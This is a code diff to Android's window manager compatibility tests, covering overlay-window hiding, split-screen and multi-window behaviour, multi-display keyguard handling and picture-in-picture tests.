+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+ }
+
+ void setHideOverlayWindowsAndWaitForPong(boolean hide) {
+ Intent intent = new Intent(ACTION);
+ intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
+ mContext.sendBroadcast(intent);
+ mPongReceiver.waitForPong();
+ }
+
+ public static class BaseSystemWindowActivity extends Activity {
+
+ TextView mTextView;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
+
+ final Point size = new Point();
+ getDisplay().getRealSize(size);
+
+ WindowManager.LayoutParams params =
+ new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY, 0);
+ params.width = size.x / 3;
+ params.height = size.y / 3;
+ params.gravity = TOP | LEFT;
+ params.setTitle(windowName);
+
+ mTextView = new TextView(this);
+ mTextView.setText(windowName + " type=" + TYPE_APPLICATION_OVERLAY);
+ mTextView.setBackgroundColor(Color.GREEN);
+
+ if (getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false)) {
+ params.privateFlags |=
+ WindowManager.LayoutParams.SYSTEM_FLAG_SYSTEM_APPLICATION_OVERLAY;
+ }
+ getWindowManager().addView(mTextView, params);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ getWindowManager().removeView(mTextView);
+ }
+ }
+
+ // These activities are running the same code, but in different processes to ensure that they
+ // each create their own WindowSession, using the correct permissions. If they are run in the
+ // same process WindowSession is cached and might end up not matching the permissions set up
+ // with adoptShellPermissions
+ public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+ public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+ public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
+ private static class PongReceiver extends BroadcastReceiver {
+
+ volatile ConditionVariable mConditionVariable = new ConditionVariable();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mConditionVariable.open();
+ }
+
+ public void waitForPong() {
+ assertThat(mConditionVariable.block(10000L)).isTrue();
+ mConditionVariable = new ConditionVariable();
+ }
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index e68f1c7..70dfb50 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -99,6 +99,7 @@
@Test
@Presubmit
public void testMinimalSizeDocked() throws Exception {
+ mUseTaskOrganizer = false;
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
@@ -114,7 +115,7 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- resizePrimarySplitScreen(1, 1, 1, 1);
+ mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
}
getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ecd0134..82a8532 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -990,7 +990,7 @@
intent.setClassName(activity.getPackageName(), activity.getClassName());
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
}
public static class ImmediateLaunchTestActivity extends Activity {}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 88202d9..06312f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -20,8 +20,6 @@
import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.Presubmit;
@@ -208,8 +206,13 @@
mWmState.assertKeyguardShowingAndNotOccluded();
mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
- // Change decored display. Keyguard should still be shown on the decored system display
- virtualDisplaySession.resizeDisplay();
+ // Resize decored display. Keyguard should still be shown on the decored system display
+ final ReportedDisplayMetrics displayMetrics =
+ ReportedDisplayMetrics.getDisplayMetrics(decoredSystemDisplayId);
+ final Size overrideSize = new Size(
+ (int) (displayMetrics.physicalSize.getWidth() * 0.5),
+ (int) (displayMetrics.physicalSize.getHeight() * 0.5));
+ displayMetrics.setDisplayMetrics(overrideSize, displayMetrics.physicalDensity);
mWmState.computeState();
mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index df752a8..9d5b95c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.server.wm.ComponentNameUtils.getWindowName;
import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
import android.server.wm.CommandSession.ActivityCallback;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
import org.junit.Before;
import org.junit.Test;
@@ -411,7 +411,7 @@
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ WINDOWING_MODE_MULTI_WINDOW);
}
/**
@@ -430,7 +430,7 @@
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ WINDOWING_MODE_MULTI_WINDOW);
}
/**
@@ -464,6 +464,9 @@
.createDisplay();
if (splitScreen) {
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+ // Set the secondary split root task as launch root to verify remaining tasks will
+ // be reparented to matching launch root after removed the virtual display.
+ mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
}
// Launch activity on new secondary display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 807096f..1b0d933 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -422,6 +422,11 @@
}
void resizeDisplay() {
+ if (mSimulateDisplay) {
+ throw new IllegalStateException(
+ "Please use ReportedDisplayMetrics#setDisplayMetrics to resize"
+ + " simulate display");
+ }
executeShellCommand(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY)
+ " -f 0x20000000" + " --es " + KEY_COMMAND + " " + COMMAND_RESIZE_DISPLAY);
}
@@ -481,6 +486,9 @@
.setToSide(true)
.setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
.execute();
+ final int secondaryTaskId =
+ mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
} else {
launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
new file mode 100644
index 0000000..6850dab
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
+
+import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivityCallback;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:MultiWindowTests
+ */
+@Presubmit
+@android.server.wm.annotation.Group2
+public class MultiWindowTests extends ActivityManagerTestBase {
+
+ private boolean mIsHomeRecentsComponent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
+
+ assumeTrue("Skipping test: no split multi-window support",
+ supportsSplitScreenMultiWindow());
+ }
+
+ @Test
+ public void testMinimumDeviceSize() {
+ mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
+ "Devices supporting multi-window must be larger than the default minimum"
+ + " task size");
+ mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
+ "Devices supporting split-screen multi-window must be larger than the"
+ + " default minimum display size.");
+ }
+
+ /** Resizeable activity should be able to enter multi-window mode.*/
+ @Test
+ public void testResizeableActivity() {
+ launchActivityInPrimarySplit(TEST_ACTIVITY);
+ mWmState.assertVisibility(TEST_ACTIVITY, true);
+ mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+ }
+
+ /**
+ * Non-resizeable activity should NOT be able to enter multi-window mode,
+ * but should still be visible.
+ */
+ @Test
+ public void testNonResizeableActivity() {
+ boolean gotAssertionError = false;
+ try {
+ launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+ } catch (AssertionError e) {
+ gotAssertionError = true;
+ }
+ assertTrue("Trying to put non-resizeable activity in split should throw error.",
+ gotAssertionError);
+ assertTrue(mWmState.containsActivityInWindowingMode(
+ NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+ mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+ mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+ }
+
+ @Test
+ public void testLaunchToSideMultiWindowCallbacks() {
+ // Launch two activities in split-screen mode.
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+ int displayWindowingMode = mWmState.getDisplay(
+ mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
+ separateTestJournal();
+ mTaskOrganizer.dismissedSplitScreen();
+ if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+ // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+ final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+ NO_RELAUNCH_ACTIVITY);
+ assertEquals(1,
+ lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+ } else {
+ // Display is not a fullscreen display, so there won't be a multi-window callback.
+ // Instead just verify that windows are not in split-screen anymore.
+ waitForIdle();
+ mWmState.computeState();
+ mWmState.assertDoesNotContainStack("Must have exited split-screen",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+ }
+
+ @Test
+ public void testNoUserLeaveHintOnMultiWindowModeChanged() {
+ launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+ // Move to primary split.
+ separateTestJournal();
+ final int primaryTaskId = mWmState.getTaskByActivity(NO_RELAUNCH_ACTIVITY).mTaskId;
+ mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+ ActivityLifecycleCounts lifecycleCounts =
+ waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+ assertEquals("mUserLeaveHintCount",
+ 0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+ // Make sure primary split is focused. This way when we dismiss it later fullscreen stack
+ // will come up.
+ launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+ final int secondaryTaskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+ launchActivity(NO_RELAUNCH_ACTIVITY);
+
+ // Move activities back to fullscreen screen.
+ separateTestJournal();
+ mTaskOrganizer.dismissedSplitScreen();
+
+ lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
+ assertEquals("mUserLeaveHintCount",
+ 0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+ }
+
+ @Test
+ public void testLaunchToSideAndBringToFront() {
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+ mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY);
+
+ // Launch another activity to side to cover first one.
+ launchActivityInSecondarySplit(NO_RELAUNCH_ACTIVITY);
+ mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ NO_RELAUNCH_ACTIVITY);
+
+ // Launch activity that was first launched to side. It should be brought to front.
+ launchActivity(TEST_ACTIVITY);
+ mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ TEST_ACTIVITY);
+ }
+
+ @Test
+ public void testLaunchToSideMultiple() {
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+ final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+ // Try to launch to side same activity again.
+ launchActivity(TEST_ACTIVITY);
+ mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
+ final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+ assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+ mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+ TEST_ACTIVITY);
+ }
+
+ @Test
+ public void testLaunchToSideSingleInstance() {
+ launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
+ }
+
+ @Test
+ public void testLaunchToSideSingleTask() {
+ launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
+ }
+
+ @Test
+ public void testLaunchToSideMultipleWithDifferentIntent() {
+ launchTargetToSide(TEST_ACTIVITY, true);
+ }
+
+ private void launchTargetToSide(ComponentName targetActivityName,
+ boolean taskCountMustIncrement) {
+ launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+
+ // Launch target to side
+ final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
+ .setTargetActivity(targetActivityName)
+ .setToSide(true)
+ .setRandomData(true)
+ .setMultipleTask(false);
+ targetActivityLauncher.execute();
+ final int secondaryTaskId = mWmState.getTaskByActivity(targetActivityName).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+ mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+ final int taskNumberInitial = mTaskOrganizer.getSecondarySplitTaskCount();
+
+ // Try to launch to side same activity again with different data.
+ targetActivityLauncher.execute();
+ mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+
+ WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(targetActivityName,
+ secondaryTaskId);
+ int secondaryTaskId2 = INVALID_TASK_ID;
+ if (task != null) {
+ secondaryTaskId2 = mWmState.getTaskByActivity(targetActivityName,
+ secondaryTaskId).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId2);
+ }
+ final int taskNumberSecondLaunch = mTaskOrganizer.getSecondarySplitTaskCount();
+
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+ taskNumberSecondLaunch);
+ } else {
+ assertEquals("Task number must not change.", taskNumberInitial,
+ taskNumberSecondLaunch);
+ }
+ mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+
+ // Try to launch to side same activity again with different random data. Note that null
+ // cannot be used here, since the first instance of TestActivity is launched with no data
+ // in order to launch into split screen.
+ targetActivityLauncher.execute();
+ mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
+ WindowManagerState.ActivityTask taskFinal =
+ mWmState.getTaskByActivity(targetActivityName, secondaryTaskId2);
+ if (taskFinal != null) {
+ int secondaryTaskId3 = mWmState.getTaskByActivity(targetActivityName,
+ secondaryTaskId2).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId3);
+ }
+ final int taskNumberFinal = mTaskOrganizer.getSecondarySplitTaskCount();
+
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+ taskNumberFinal);
+ } else {
+ assertEquals("Task number must not change.", taskNumberSecondLaunch,
+ taskNumberFinal);
+ }
+ mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+ }
+
+ @Test
+ public void testLaunchToSideMultipleWithFlag() {
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder()
+ .setTargetActivity(TEST_ACTIVITY),
+ getLaunchActivityBuilder()
+ // Try to launch to side same activity again,
+ // but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+ .setMultipleTask(true)
+ .setTargetActivity(TEST_ACTIVITY));
+ assertTrue("Primary split must contain TEST_ACTIVITY",
+ mWmState.getRootTask(mTaskOrganizer.getPrimarySplitTaskId())
+ .containsActivity(TEST_ACTIVITY)
+ );
+
+ assertTrue("Secondary split must contain TEST_ACTIVITY",
+ mWmState.getRootTask(mTaskOrganizer.getSecondarySplitTaskId())
+ .containsActivity(TEST_ACTIVITY)
+ );
+ mWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY);
+ }
+
+ @Test
+ public void testSameProcessActivityResumedPreQ() {
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
+
+ assertEquals("There must be only one resumed activity in the package.", 1,
+ mWmState.getResumedActivitiesCountInPackage(
+ SDK_27_TEST_ACTIVITY.getPackageName()));
+ }
+
+ @Test
+ public void testDifferentProcessActivityResumedPreQ() {
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
+
+ assertEquals("There must be only two resumed activities in the package.", 2,
+ mWmState.getResumedActivitiesCountInPackage(
+ SDK_27_TEST_ACTIVITY.getPackageName()));
+ }
+
+ @Test
+ public void testDisallowEnterSplitscreenWhenInLockedTask() {
+ launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+ WindowManagerState.ActivityTask task =
+ mWmState.getStandardRootTaskByWindowingMode(
+ WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+ // Lock the task and ensure that we can't enter split screen
+ try {
+ runWithShellPermission(() -> {
+ mAtm.startSystemLockTaskMode(task.mTaskId);
+ });
+ waitForOrFail("Task in lock mode", () -> {
+ return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
+ });
+
+ assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
+ } finally {
+ runWithShellPermission(() -> {
+ mAtm.stopSystemLockTaskMode();
+ });
+ }
+ }
+
+ @Test
+ public void testStackListOrderLaunchDockedActivity() {
+ assumeTrue(!mIsHomeRecentsComponent);
+
+ launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+
+ final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
+ assertThat("Recents stack should be on top of home stack",
+ recentsStackIndex, lessThan(homeStackIndex));
+ }
+
+
+ /**
+ * Asserts that the activity is visible when the top opaque activity finishes and with another
+ * translucent activity on top while in split-screen-secondary task.
+ */
+ @Test
+ public void testVisibilityWithTranslucentAndTopFinishingActivity() {
+ // Launch two activities in split-screen mode.
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
+
+ // Launch two more activities on a different task on top of split-screen-secondary and
+ // only the top opaque activity should be visible.
+ getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .execute();
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .execute();
+ mWmState.assertVisibility(TEST_ACTIVITY, true);
+ mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
+ mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
+ mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
+
+ // Finish the top opaque activity and both the two activities should be visible.
+ mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
+ mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
+ mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
+ mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 61e2feb..cb022df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -17,14 +17,13 @@
package android.server.wm;
import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.CliIntentExtra.*;
+import static android.server.wm.CliIntentExtra.extraBool;
import static android.server.wm.CliIntentExtra.extraString;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -36,6 +35,7 @@
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
import static android.server.wm.app.Components.LAUNCH_ENTER_PIP_ACTIVITY;
import static android.server.wm.app.Components.LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY;
+import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
import static android.server.wm.app.Components.PIP_ACTIVITY;
import static android.server.wm.app.Components.PIP_ACTIVITY2;
@@ -61,6 +61,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
import static android.server.wm.app.Components.RESUME_WHILE_PAUSING_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -171,14 +172,7 @@
@Test
public void testEnterPictureInPictureMode() throws Exception {
pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true")),
- PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
- false /* isFocusable */);
- }
-
- @Test
- public void testMoveTopActivityToPinnedRootTask() throws Exception {
- pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
- true /* moveTopToPinnedStack */, false /* isFocusable */);
+ PIP_ACTIVITY, PIP_ACTIVITY, false /* isFocusable */);
}
// This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -187,7 +181,7 @@
public void testAlwaysFocusablePipActivity() throws Exception {
pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
- false /* moveTopToPinnedStack */, true /* isFocusable */);
+ true /* isFocusable */);
}
// This test is black-listed in cts-known-failures.xml (b/35314835).
@@ -196,7 +190,7 @@
public void testLaunchIntoPinnedStack() throws Exception {
pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
